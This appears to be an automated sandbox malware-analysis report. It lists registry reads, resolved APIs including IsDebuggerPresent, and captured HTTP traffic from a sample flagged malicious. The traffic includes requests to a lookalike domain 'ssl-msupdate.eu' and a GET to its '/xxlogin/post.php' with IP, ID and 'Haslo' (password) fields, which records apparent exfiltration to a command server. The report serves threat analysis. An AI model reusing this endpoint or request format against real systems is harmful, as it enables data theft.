HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DefaultColor
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable

Write Keys

Nothing to display

Delete Keys

Nothing to display

Mutexes

Resolved APIs

kernel32.dll.SetThreadUILanguage
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
kernel32.dll.CopyFileExW
kernel32.dll.IsDebuggerPresent
kernel32.dll.SetConsoleInputExeNameW

Execute Commands

Nothing to display

Started Services

Nothing to display

Created Services

Nothing to display
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven01_64 Seven01_64 VirtualBox 2017-11-25 15:48:39 2017-11-25 15:51:39 180

4 HTTP Request(s) detected

http://ssl-msupdate.eu/xxpass/
  • Hostname: ssl-msupdate.eu
  • IP Address: 91.234.35.10
  • Port: 80
  • Count: 1

GET /xxpass/ HTTP/1.1
Host: ssl-msupdate.eu
Connection: Keep-Alive

http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
  • Hostname: www.download.windowsupdate.com
  • IP Address: 2.228.46.122
  • Port: 80
  • Count: 1

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1
Cache-Control: max-age = 86401
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: www.download.windowsupdate.com

http://ipv4bot.whatismyipaddress.com/
  • Hostname: ipv4bot.whatismyipaddress.com
  • IP Address: 66.171.248.178
  • Port: 80
  • Count: 1

GET / HTTP/1.1
Host: ipv4bot.whatismyipaddress.com
Connection: Keep-Alive

http://ssl-msupdate.eu/xxlogin/post.php?IP=%3Chtml%3E%0A%20%20%3Chead%3E%0A%20%20%20%20%3Ctitle%3EINetSim%20default%20HTML%20page%3C/title%3E%0A%20%20%3C/head%3E%0A%20%20%3Cbody%3E%0A%20%20%20%20%3Cp%3E%3C/p%3E%0A%20%20%20%20%3Cp%20align=%22center%22%3EThis%20is%20the%20default%20HTML%20page%20for%20INetSim%20HTTP%20server%20fake%20mode.%3C/p%3E%0A%20%20%20%20%3Cp%20align=%22center%22%3EThis%20file%20is%20an%20HTML%20document.%3C/p%3E%0A%20%20%3C/body%3E%0A%3C/html%3E%0A&ID=1b7fcd1b-8cda-4247-a125-126cee8a8ed6&Data=26-11-2017%2000:52:24&Haslo=%3Chtml%3E%0A%20%20%3Chead%3E%0A%20%20%20%20%3Ctitle%3EINetSim%20default%20HTML%20page%3C/title%3E%0A%20%20%3C/head%3E%0A%20%20%3Cbody%3E%0A%20%20%20%20%3Cp%3E%3C/p%3E%0A%20%20%20%20%3Cp%20align=%22center%22%3EThis%20is%20the%20default%20HTML%20page%20for%20INetSim%20HTTP%20server%20fake%20mode.%3C/p%3E%0A%20%20%20%20%3Cp%20align=%22center%22%3EThis%20file%20is%20an%20HTML%20document.%3C/p%3E%0A%20%20%3C/body%3E%0A%3C/html%3E
  • Hostname: ssl-msupdate.eu
  • IP Address: 91.234.35.10
  • Port: 80
  • Count: 1

GET /xxlogin/post.php?IP=%3Chtml%3E%0A%20%20%3Chead%3E%0A%20%20%20%20%3Ctitle%3EINetSim%20default%20HTML%20page%3C/title%3E%0A%20%20%3C/head%3E%0A%20%20%3Cbody%3E%0A%20%20%20%20%3Cp%3E%3C/p%3E%0A%20%20%20%20%3Cp%20align=%22center%22%3EThis%20is%20the%20default%20HTML%20page%20for%20INetSim%20HTTP%20server%20fake%20mode.%3C/p%3E%0A%20%20%20%20%3Cp%20align=%22center%22%3EThis%20file%20is%20an%20HTML%20document.%3C/p%3E%0A%20%20%3C/body%3E%0A%3C/html%3E%0A&ID=1b7fcd1b-8cda-4247-a125-126cee8a8ed6&Data=26-11-2017%2000:52:24&Haslo=%3Chtml%3E%0A%20%20%3Chead%3E%0A%20%20%20%20%3Ctitle%3EINetSim%20default%20HTML%20page%3C/title%3E%0A%20%20%3C/head%3E%0A%20%20%3Cbody%3E%0A%20%20%20%20%3Cp%3E%3C/p%3E%0A%20%20%20%20%3Cp%20align=%22center%22%3EThis%20is%20the%20default%20HTML%20page%20for%20INetSim%20HTTP%20server%20fake%20mode.%3C/p%3E%0A%20%20%20%20%3Cp%20align=%22center%22%3EThis%20file%20is%20an%20HTML%20document.%3C/p%3E%0A%20%20%3C/body%3E%0A%3C/html%3E HTTP/1.1
Host: ssl-msupdate.eu

#infosec #automation

TheSystem Itself @ 2017-11-25 15:54:20

Detected family: #Malicious

TheSystem Itself @ 2017-11-25 16:02:03